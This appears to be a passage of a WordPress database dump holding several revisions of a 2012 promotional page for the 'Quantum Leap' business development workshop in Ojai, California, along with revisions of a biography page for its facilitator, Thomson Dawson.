(1987, 2, '2012-03-01 16:49:49', '2012-03-01 23:49:49', '<h2><strong>White Hot Center Presents\r\nThe Quantum Leap\r\nBusiness Development Workshop</strong><strong><span style="color: #dd9703;">\r\nCreating Competitive</span>\r\n<span style="color: #dd9703;"> Advantage in your Creative Business\r\n<span style="color: #000000;">June 15, 2012</span></span>\r\nOjai, California\r\n</strong></h2>\r\n<strong>Facilitated by Thomson Dawson\r\nBusiness Development Consultant to Creative Entrepreneuers\r\n</strong>\r\n\r\n<img class="alignnone size-full wp-image-1965" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n\r\n<span style="color: #333333;"><strong><a href="http://youtu.be/ZhBhjF7ocW0" target="_blank"><img class="alignnone size-full wp-image-1897" title="thomson" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson.jpg" alt="" width="495" height="278" /></a></strong></span>\r\n<h2>A one-day intensive strategic business development workshop designed to help early stage creative entrepreneurs and solo professionals build a solid foundation for marketing and sales success that will enable them to achieve a quantum leap in the growth of their creative business.</h2>\r\n<h1><span style="color: #808080;">\r\nWithout sales there is no business</span><span style="color: #808080;"><strong>.</strong></span></h1>\r\nIf you’re a self-employed creative professional, whether flying solo or leading your small creative firm, you know the importance of having a steady stream of clients and projects coming your way. The truth is many early-stage creative professionals struggle finding a steady stream of higher value clients. Many more resist the sales process altogether opting to rely only on referrals for new business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive creative business today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for your business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn greater possibilities into achievement.\r\n\r\n<strong>Clients have abundant choice.\r\nThere is no shortage of creative talent in the marketplace.</strong>\r\n\r\nLet’s face it, when clients have abundant choice, competition is always fierce. How do you, a creative entrepreneur, gain radical advantage over would-be competitors in an ultra-competitive marketplace?\r\n\r\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when everyone else is discounting their fees just to get the gig?\r\n\r\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\r\n\r\nIf you’re serious about the growth and success of your creative business you’ll need to be able to have answers to these important questions.\r\n<h2><strong></strong>Take a quantum leap in your business development success. Spend one important day working on your creative business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.</h2>\r\n<strong>Who should attend?</strong>\r\nWe’ve developed this foundational business development workshop for all early-stage self-employed creative professionals including: graphic designers, web /apps developers, content creators, writers, social media professionals, illustrators, animators, photographers, producers and composers–just about anyone in the business of creative output for hire.\r\n\r\n<strong>The Investment:</strong>\r\n$600.00 USD per person\r\nSpecial discount of $100 off for early registration prior to April 1, 2012\r\nAddirtional discount of $50 off for each additional person in your firm prior to April 1, 2012.\r\nTuition must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop.\r\n\r\nTuition includes Workshop Materials, Continental Breakfast, Luncheon and Snacks served throughout the day at the venue.\r\n\r\n<strong>This workshop is limited to 24 participants.</strong>\r\n<h1><span style="color: #888888;">Early Registration\r\n</span></h1>\r\nSend an <strong><a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a></strong> and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to April 1, 2012. This workshop has limited capacity and will fill up quickly.\r\n<strong>Register Now and Save!</strong>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2012-03-01 16:49:49', '2012-03-01 23:49:49', '', 145, 'http://www.whitehotcenter.com/2012/03/145-revision-121/', 0, 'revision', '', 0),
(1988, 2, '2012-03-01 16:54:56', '2012-03-01 23:54:56', '<h2><strong>White Hot Center Presents\r\nThe Quantum Leap\r\nBusiness Development Workshop</strong><strong><span style="color: #dd9703;">\r\nCreating Competitive</span>\r\n<span style="color: #dd9703;"> Advantage in your Creative Business\r\n<span style="color: #000000;">June 15, 2012</span></span>\r\nOjai, California\r\n</strong></h2>\r\n<strong>Facilitated by Thomson Dawson\r\nBusiness Development Consultant to Creative Entrepreneuers\r\n</strong>\r\n\r\n<img class="alignnone size-full wp-image-1965" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n\r\n<span style="color: #333333;"><strong><a href="http://youtu.be/ZhBhjF7ocW0" target="_blank"><img class="alignnone size-full wp-image-1897" title="thomson" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson.jpg" alt="" width="495" height="278" /></a></strong></span>\r\n<h2>A one-day intensive strategic business development workshop designed to help early stage creative entrepreneurs and solo professionals build a solid foundation for marketing and sales success that will enable them to achieve a quantum leap in the growth of their creative business.</h2>\r\n<h1><span style="color: #808080;">\r\nWithout sales there is no business</span><span style="color: #808080;"><strong>.</strong></span></h1>\r\nIf you’re a self-employed creative professional, whether flying solo or leading your small creative firm, you know the importance of having a steady stream of clients and projects coming your way. The truth is many early-stage creative professionals struggle finding a steady stream of higher value clients. Many more resist the sales process altogether opting to rely only on referrals for new business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive creative business today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for your business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn greater possibilities into achievement.\r\n\r\n<strong>Clients have abundant choice.\r\nThere is no shortage of creative talent in the marketplace.</strong>\r\n\r\nLet’s face it, when clients have abundant choice, competition is always fierce. How do you, a creative entrepreneur, gain radical advantage over would-be competitors in an ultra-competitive marketplace?\r\n\r\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when everyone else is discounting their fees just to get the gig?\r\n\r\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\r\n\r\nIf you’re serious about the growth and success of your creative business you’ll need to be able to have answers to these important questions.\r\n<h2><strong></strong>Take a quantum leap in your business development success. Spend one important day working on your creative business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.</h2>\r\n<strong>Who should attend?</strong>\r\nWe’ve developed this foundational business development workshop for all early-stage self-employed creative professionals including: graphic designers, web /apps developers, content creators, writers, social media professionals, illustrators, animators, photographers, producers and composers–just about anyone in the business of creative output for hire.\r\n\r\n<strong>The Investment:</strong>\r\n$600.00 USD per person\r\nSpecial discount of $100 off for early registration prior to April 30, 2012\r\nAddirtional discount of $50 off for each additional person in your firm prior to April 30, 2012.\r\n\r\nTuition must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop.\r\n\r\nTuition includes Workshop Materials, Continental Breakfast, Luncheon and Snacks served throughout the day at the venue.\r\n\r\n<strong>This workshop is limited to 24 participants.</strong>\r\n<h1><span style="color: #888888;">Early Registration\r\n</span></h1>\r\nSend an <strong><a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a></strong> and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to April 1, 2012. This workshop has limited capacity and will fill up quickly.\r\n<strong>Register Now and Save!</strong>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2012-03-01 16:54:56', '2012-03-01 23:54:56', '', 145, 'http://www.whitehotcenter.com/2012/03/145-revision-122/', 0, 'revision', '', 0),
(1989, 2, '2012-03-01 16:58:50', '2012-03-01 23:58:50', '<h2><strong>White Hot Center Presents\r\nThe Quantum Leap\r\nBusiness Development Workshop</strong><strong><span style="color: #dd9703;">\r\nCreating Competitive</span>\r\n<span style="color: #dd9703;"> Advantage in your Creative Business\r\n<span style="color: #000000;">June 15, 2012</span></span>\r\nOjai, California\r\n</strong></h2>\r\n<strong>Facilitated by Thomson Dawson\r\nBusiness Development Consultant to Creative Entrepreneuers\r\n</strong>\r\n\r\n<img class="alignnone size-full wp-image-1965" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n\r\n<span style="color: #333333;"><strong><a href="http://youtu.be/ZhBhjF7ocW0" target="_blank"><img class="alignnone size-full wp-image-1897" title="thomson" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson.jpg" alt="" width="495" height="278" /></a></strong></span>\r\n<h2>A one-day intensive strategic business development workshop designed to help early stage creative entrepreneurs and solo professionals build a solid foundation for marketing and sales success that will enable them to achieve a quantum leap in the growth of their creative business.</h2>\r\n<h1><span style="color: #808080;">\r\nWithout sales there is no business</span><span style="color: #808080;"><strong>.</strong></span></h1>\r\nIf you’re a self-employed creative professional, whether flying solo or leading your small creative firm, you know the importance of having a steady stream of clients and projects coming your way. The truth is many early-stage creative professionals struggle finding a steady stream of higher value clients. Many more resist the sales process altogether opting to rely only on referrals for new business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive creative business today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for your business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn greater possibilities into achievement.\r\n\r\n<strong>Clients have abundant choice.\r\nThere is no shortage of creative talent in the marketplace.</strong>\r\n\r\nLet’s face it, when clients have abundant choice, competition is always fierce. How do you, a creative entrepreneur, gain radical advantage over would-be competitors in an ultra-competitive marketplace?\r\n\r\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when everyone else is discounting their fees just to get the gig?\r\n\r\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\r\n\r\nIf you’re serious about the growth and success of your creative business you’ll need to be able to have answers to these important questions.\r\n<h2><strong></strong>Take a quantum leap in your business development success. Spend one important day working on your creative business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.</h2>\r\n<strong>Who should attend?</strong>\r\nWe’ve developed this foundational business development workshop for all early-stage self-employed creative professionals including: graphic designers, web /apps developers, content creators, writers, social media professionals, illustrators, animators, photographers, producers and composers–just about anyone in the business of creative output for hire.\r\n\r\n<strong>The Investment:</strong>\r\n$600.00 USD per person\r\nSpecial discount of $100 off for early registration prior to April 30, 2012\r\nAddirtional discount of $50 off for each additional person in your firm prior to April 30, 2012.\r\n\r\nTuition must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop.\r\n\r\nTuition includes Workshop Materials, Continental Breakfast, Luncheon and Snacks served throughout the day at the venue.\r\n\r\n<strong>This workshop is limited to 24 participants.</strong>\r\n<h1><span style="color: #888888;">Early Registration\r\n</span></h1>\r\nSend an <strong><a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a></strong> and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to April 30, 2012. This workshop has limited capacity and will fill up quickly.\r\n<strong>Register Now and Save!</strong>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2012-03-01 16:58:50', '2012-03-01 23:58:50', '', 145, 'http://www.whitehotcenter.com/2012/03/145-revision-123/', 0, 'revision', '', 0);
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(1990, 2, '2012-03-01 17:00:18', '2012-03-02 00:00:18', '<h2><strong>White Hot Center Presents\r\nThe Quantum Leap\r\nBusiness Development Workshop</strong><strong><span style="color: #dd9703;">\r\nCreating Competitive</span>\r\n<span style="color: #dd9703;"> Advantage in your Creative Business\r\n<span style="color: #000000;">June 15, 2012</span></span>\r\nOjai, California\r\n</strong></h2>\r\n<strong>Facilitated by Thomson Dawson\r\nBusiness Development Consultant to Creative Entrepreneuers\r\n</strong>\r\n\r\n<img class="alignnone size-full wp-image-1965" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n\r\n<span style="color: #333333;"><strong><a href="http://youtu.be/ZhBhjF7ocW0" target="_blank"><img class="alignnone size-full wp-image-1897" title="thomson" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson.jpg" alt="" width="495" height="278" /></a></strong></span>\r\n<h2>A one-day intensive strategic business development workshop designed to help early stage creative entrepreneurs and solo professionals build a solid foundation for marketing and sales success that will enable them to achieve a quantum leap in the growth of their creative business.</h2>\r\n<h1><span style="color: #808080;">\r\nWithout sales there is no business</span><span style="color: #808080;"><strong>.</strong></span></h1>\r\nIf you’re a self-employed creative professional, whether flying solo or leading your small creative firm, you know the importance of having a steady stream of clients and projects coming your way. The truth is many early-stage creative professionals struggle finding a steady stream of higher value clients. Many more resist the sales process altogether opting to rely only on referrals for new business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive creative business today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for your business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn greater possibilities into achievement.\r\n\r\n<strong>Clients have abundant choice.\r\nThere is no shortage of creative talent in the marketplace.</strong>\r\n\r\nLet’s face it, when clients have abundant choice, competition is always fierce. How do you, a creative entrepreneur, gain radical advantage over would-be competitors in an ultra-competitive marketplace?\r\n\r\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when everyone else is discounting their fees just to get the gig?\r\n\r\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\r\n\r\nIf you’re serious about the growth and success of your creative business you’ll need to be able to have answers to these important questions.\r\n<h2><strong></strong>Take a quantum leap in your business development success. Spend one important day working on your creative business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.</h2>\r\n<strong>Who should attend?</strong>\r\nWe’ve developed this foundational business development workshop for all early-stage self-employed creative professionals including: graphic designers, web /apps developers, content creators, writers, social media professionals, illustrators, animators, photographers, producers and composers–just about anyone in the business of creative output for hire.\r\n\r\n<strong>The Investment:</strong>\r\n$600.00 USD per person\r\nSpecial discount of $100 off for early registration prior to April 30, 2012\r\nAddirtional discount of $50 off for each additional person in your firm prior to April 30, 2012.\r\n\r\nTuition must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop.\r\n\r\nTuition includes Workshop Materials, Continental Breakfast, Luncheon and Snacks served throughout the day at the venue.\r\n\r\n<strong>This workshop is limited to 24 participants.</strong>\r\n<h1><span style="color: #888888;">Early Registration\r\n</span></h1>\r\nSend an <strong><a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a></strong> and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to April 30, 2012. This workshop has limited capacity and will fill up quickly.\r\n<strong>Register Now and Save!</strong>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2012-03-01 17:00:18', '2012-03-02 00:00:18', '', 145, 'http://www.whitehotcenter.com/2012/03/145-revision-124/', 0, 'revision', '', 0),
(1991, 2, '2012-03-01 17:13:09', '2012-03-02 00:13:09', '<h2><strong>White Hot Center Presents\r\nThe Quantum Leap\r\nBusiness Development Workshop</strong><strong><span style="color: #dd9703;">\r\nCreating Competitive</span>\r\n<span style="color: #dd9703;"> Advantage in your Creative Business\r\n<span style="color: #000000;">June 15, 2012</span></span>\r\nOjai, California\r\n</strong></h2>\r\n<strong>Facilitated by Thomson Dawson\r\nBusiness Development Consultant to Creative Entrepreneuers\r\n</strong>\r\n\r\n<img class="alignnone size-full wp-image-1965" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n\r\n<span style="color: #333333;"><strong><a href="http://youtu.be/ZhBhjF7ocW0" target="_blank"><img class="alignnone size-full wp-image-1897" title="thomson" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson.jpg" alt="" width="495" height="278" /></a></strong></span>\r\n<h2>A one-day intensive strategic business development workshop designed to help early stage creative entrepreneurs and solo professionals build a solid foundation for marketing and sales success that will enable them to achieve a quantum leap in the growth of their creative business.</h2>\r\n<h1><span style="color: #808080;">\r\nWithout sales there is no business</span><span style="color: #808080;"><strong>.</strong></span></h1>\r\nIf you’re a self-employed creative professional, whether flying solo or leading your small creative firm, you know the importance of having a steady stream of clients and projects coming your way. The truth is many early-stage creative professionals struggle finding a steady stream of higher value clients. Many more resist the sales process altogether opting to rely only on referrals for new business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive creative business today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for your business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn greater possibilities into achievement.\r\n\r\n<strong>Clients have abundant choice.\r\nThere is no shortage of creative talent in the marketplace.</strong>\r\n\r\nLet’s face it, when clients have abundant choice, competition is always fierce. How do you, a creative entrepreneur, gain radical advantage over would-be competitors in an ultra-competitive marketplace?\r\n\r\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when everyone else is discounting their fees just to get the gig?\r\n\r\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\r\n\r\nIf you’re serious about the growth and success of your creative business you’ll need to be able to have answers to these important questions.\r\n<h2><strong></strong>Take a quantum leap in your business development success. Spend one important day working on your creative business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.</h2>\r\n<strong>Who should attend?</strong>\r\nWe’ve developed this foundational business development workshop for all early-stage self-employed creative professionals including: graphic designers, web /apps developers, content creators, writers, social media professionals, illustrators, animators, photographers, producers and composers–just about anyone in the business of creative output for hire.\r\n\r\n<strong>The Investment:</strong>\r\n$600.00 USD per person\r\nSpecial discount of $100 off for early registration prior to April 30, 2012\r\nAddirtional discount of $50 off for each additional person in your firm prior to April 30, 2012.\r\n\r\nTuition must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop.\r\n\r\nTuition includes Workshop Materials, Continental Breakfast, Luncheon and Snacks served throughout the day at the venue.\r\n\r\n<strong>This workshop is limited to 24 participants.</strong>\r\n<h1><span style="color: #888888;">Early Registration\r\n</span></h1>\r\nSend an <strong><a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a></strong> and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to April 30, 2012. This workshop has limited capacity and will fill up quickly.\r\n<strong>Register Now and Save!</strong>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2012-03-01 17:13:09', '2012-03-02 00:13:09', '', 145, 'http://www.whitehotcenter.com/2012/03/145-revision-125/', 0, 'revision', '', 0),
(1992, 2, '2011-07-03 16:55:56', '2011-07-03 23:55:56', '<h2><img class="size-full wp-image-246 alignnone" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="450" height="361" /></h2>\r\n<h2><span style="color: #ff6600;"> </span><strong>Contact me in the orange grove:</strong></h2>\r\nThomson Dawson\r\n<a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\n\r\n<strong>The White Hot Center\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 640 3920 x2 office\r\n</strong>\r\n\r\n<strong> </strong>\r\n<h1><span style="color: #ff8c00;"><strong><span style="color: #000000;">What I do:</span></strong></span></h1>\r\n<h1><span style="color: #ff8c00;"> </span></h1>\r\n<h2><span style="color: #000000;"><strong> Inspire, guide and create IDEAS that help people gain clarity and confidence to pursue their best opportunities to create more impact, influence and income. </strong></span></h2>\r\n<h2><span style="color: #000000;"><strong>I do this in two ways:</strong></span></h2>\r\n<span style="color: #ff8c00;"><strong><span style="color: #333333;">For Organizations:</span>\r\nAs Managing Partner of <a href="http://www.pullinc.com" target="_blank">PULL Brand Innovation</a>, along with a team of other skilled brand strategists and creative people, I work with consumer products marketers in the early stages of product and brand innovation.  I specialize in advising marketers how best to define a compelling and authentic value proposition they can feel confident will help them grow the value of their brands. Along with my colleagues , I do this through our collective expertise in consumer insight, market research, brand strategy, corporate / brand identity design and marketing communications.</strong></span>\r\n\r\n<span style="color: #ff8c00;"><strong><span style="color: #333333;">For Entrepreneurs and Solo Professionals:</span>\r\nI am the founder, writer and voice of www.whitehotcenter.com, a personal and professional development blog serving early-stage entrepreneurs who seek insight and inspiration to do more of what truly matters to them, while at the same time enjoying the fruits of a financially successful enterprise.  I do this by writing, podcasting, and speaking about ideas on personal/professional development, lifestyle design, value creation and demand generation. Additionally, I coach, mentor and consult with successful people who want to jam on bringing their best ideas into physical form.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong><span style="color: #ff8c00;">I am a contributing writer to publications and blogs, and facilitate  educational seminars on personal effectiveness, lifestyle design and  entrepreneurial success.  I happily live in  the middle of a small orange grove in Ojai, California. Amen.</span></strong></span>\r\n\r\n<strong>Have me speak at an upcoming event</strong>:<span style="color: #ff6600;"><strong>\r\nI''m available to speak at colleges, art &amp; design schools,  universities, industry groups and trade associations, on diverse topics  in marketing, business development, visual design, and on diverse topics  within the area personal and professional development. Some of my talks  are pro-bono, some for expenses, and others for a fee and expenses.  If  you have an interest in having me on the bill at one of your events,  just send me an email with your specifics, we can go from there.</strong></span>', 'Get to know Thomson Dawson better.', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2011-07-03 16:55:56', '2011-07-03 23:55:56', '', 143, 'http://www.whitehotcenter.com/2011/07/143-revision-40/', 0, 'revision', '', 0),
(1993, 2, '2012-03-01 20:48:22', '2012-03-02 03:48:22', '<h2><img class="size-full wp-image-246 alignnone" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="450" height="361" /></h2>\r\n<h2><strong>Contact me in the orange grove:</strong></h2>\r\nThomson Dawson\r\n<a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\n\r\n<strong>The White Hot Center\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 640 3920 x2 office\r\n</strong>\r\n\r\n&nbsp;\r\n<h1><span style="color: #ff8c00;"><strong><span style="color: #000000;">What I do:</span></strong></span></h1>\r\n<h2><span style="color: #000000;"><strong>Inspire, guide and create IDEAS to help creative entreprenuers gain more clarity and confidence to pursue their best opportunities to create more impact, influence and income. </strong></span></h2>\r\nThomson Dawson has been a successful creative entrepreneur in the marketing, communications and graphic design business for 30 years. He started his business as a solo freelancer after graduating from Kendall School of Design in Grand Rapids, Michigan.\r\n<h2></h2>\r\nHe was the Founder and Principal of the Dawson+Company Creative Group, a leading corporate communications and design agency. Dawson+Company Creative Group was internationally recognized for its award winning work in corporate identity development, brand development, naming, corporate communications, marketing communications, branded environment design, and retail packaging and merchandising. Within the first five years, he had built and established his creative business into one of the most respected and highly esteemed creative firms in the Mid-West. Over the course of his business career he has sold in millions of dollars in creative services and billings.\r\n\r\nThomson has successfully served over 70 established and emerging client organizations in diverse industries in the US and Europe. His clients have included Amway, Acura, Brunswick, Coleman, Delhaize USA, Energizer, Fellowes, Haworth, Herman Miller, Hewlett-Packard, Honda, LALA USA, Jockey, Mannington Flooring, Micron Technology, Steelcase, Volkswagen, Wolverine Worldwide and X-Rite.\r\n<h2></h2>\r\n<h2></h2>\r\nOver the years, his work, and that of his firm, has been featured in all the leading trade publications, journals and award annuals for graphic design excellence\r\n\r\nThomson is currently the Founder, Voice and Curator of the White Hot Center.com, an online resource of insight, inspiration, guidance, and business development training and consulting for early stage creative entrepreneurs and solo professionals who seek more impact, influence and income.\r\n\r\n&nbsp;\r\n\r\nThrough the WHC Quantum Leap Workshops, Thomson provides creative entrepreneurs and their teams with personal and professional development, marketing and business development education and training.\r\n\r\n&nbsp;\r\n\r\nThomson is an avid writer, speaker and thought leader on branding, enterprise strategy, value creation, professional and business development.  He is a contributing writer to many blogs and publications including the highly acclaimed Branding Strategy Insider blog, one of the 50 top branding blogs according to Advertising Age.\r\n\r\n<strong>Have Thomson speak at an upcoming event</strong>:<span style="color: #ff6600;"><strong>\r\nThomson is available to speak at colleges, art &amp; design schools, universities, industry groups and trade associations, on diverse topics in marketing, business development, visual design, and on diverse topics within the area personal and professional development. Some talks are pro-bono, some for expenses, and others for a fee and expenses.  If you have an interest in having Thomson on the bill at one of your events, just send an email with your specifics, we can go from there.</strong></span>', 'Get to know Thomson Dawson better.', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2012-03-01 20:48:22', '2012-03-02 03:48:22', '', 143, 'http://www.whitehotcenter.com/2012/03/143-revision-41/', 0, 'revision', '', 0),
(1994, 2, '2012-03-01 20:49:16', '2012-03-02 03:49:16', '<h2><img class="size-full wp-image-246 alignnone" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="450" height="361" /></h2>\r\n<h2><strong>Contact me in the orange grove:</strong></h2>\r\nThomson Dawson\r\n<a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\n\r\n<strong>The White Hot Center\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 640 3920 x2 office\r\n</strong>\r\n\r\n&nbsp;\r\n<h1><span style="color: #ff8c00;"><strong><span style="color: #000000;">What I do:</span></strong></span></h1>\r\n<h2><span style="color: #000000;"><strong>Inspire, guide and create IDEAS to help creative entreprenuers gain more clarity and confidence to pursue their best opportunities to create more impact, influence and income. </strong></span></h2>\r\n<span style="color: #808080;"><strong>Thomson Dawson has been a successful creative entrepreneur in the marketing, communications and graphic design business for 30 years. He started his business as a solo freelancer after graduating from Kendall School of Design in Grand Rapids, Michigan</strong></span>\r\n\r\n<span style="color: #808080;"><strong>He was the Founder and Principal of the Dawson+Company Creative Group, a leading corporate communications and design agency. Dawson+Company Creative Group was internationally recognized for its award winning work in corporate identity development, brand development, naming, corporate communications, marketing communications, branded environment design, and retail packaging and merchandising. Within the first five years, he had built and established his creative business into one of the most respected and highly esteemed creative firms in the Mid-West. Over the course of his business career he has sold in millions of dollars in creative services and billings.</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Thomson has successfully served over 70 established and emerging client organizations in diverse industries in the US and Europe. His clients have included Amway, Acura, Brunswick, Coleman, Delhaize USA, Energizer, Fellowes, Haworth, Herman Miller, Hewlett-Packard, Honda, LALA USA, Jockey, Mannington Flooring, Micron Technology, Steelcase, Volkswagen, Wolverine Worldwide and X-Rite.</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Over the years, his work, and that of his firm, has been featured in all the leading trade publications, journals and award annuals for graphic design excellence</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Thomson is currently the Founder, Voice and Curator of the White Hot Center.com, an online resource of insight, inspiration, guidance, and business development training and consulting for early stage creative entrepreneurs and solo professionals who seek more impact, influence and income</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Through the WHC Quantum Leap Workshops, Thomson provides creative entrepreneurs and their teams with personal and professional development, marketing and business development education and training.</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Thomson is an avid writer, speaker and thought leader on branding, enterprise strategy, value creation, professional and business development.  He is a contributing writer to many blogs and publications including the highly acclaimed Branding Strategy Insider blog, one of the 50 top branding blogs according to Advertising Age.</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Have Thomson speak at an upcoming event:\r\nThomson is available to speak at colleges, art &amp; design schools, universities, industry groups and trade associations, on diverse topics in marketing, business development, visual design, and on diverse topics within the area personal and professional development. Some talks are pro-bono, some for expenses, and others for a fee and expenses.  If you have an interest in having Thomson on the bill at one of your events, just send an email with your specifics, we can go from there.</strong></span>', 'Get to know Thomson Dawson better.', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2012-03-01 20:49:16', '2012-03-02 03:49:16', '', 143, 'http://www.whitehotcenter.com/2012/03/143-revision-42/', 0, 'revision', '', 0),
(1995, 2, '2012-03-01 20:56:05', '2012-03-02 03:56:05', '<h2><img class="size-full wp-image-246 alignnone" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="450" height="361" /></h2>\r\n<h2><strong>Contact me in the orange grove:</strong></h2>\r\nThomson Dawson\r\n<a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\n\r\n<strong>The White Hot Center\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 640 3920 x2 office\r\n</strong>\r\n\r\n&nbsp;\r\n<h1><span style="color: #ff8c00;"><strong><span style="color: #000000;">What I to do:</span></strong></span></h1>\r\n<h2><span style="color: #000000;"><strong>Inspire, guide and create IDEAS to help creative entreprenuers and solo professionals gain more clarity and confidence to pursue their best opportunities to create more impact, influence and income. </strong></span></h2>\r\n<span style="color: #808080;"><strong>Thomson Dawson has been a successful creative entrepreneur in the marketing, communications and graphic design business for 30 years. He started his business as a solo freelancer after graduating from Kendall School of Design in Grand Rapids, Michigan</strong></span>\r\n\r\n<span style="color: #808080;"><strong>He was the Founder and Principal of the Dawson+Company Creative Group, a leading corporate communications and design agency. Dawson+Company Creative Group was internationally recognized for its award winning work in corporate identity development, brand development, naming, corporate communications, marketing communications, branded environment design, and retail packaging and merchandising. </strong></span>\r\n\r\n<span style="color: #808080;"><strong>Within the first five years, he had built and established his creative business into one of the most respected and highly esteemed creative firms in the Mid-West. Over the course of his business career he has sold in 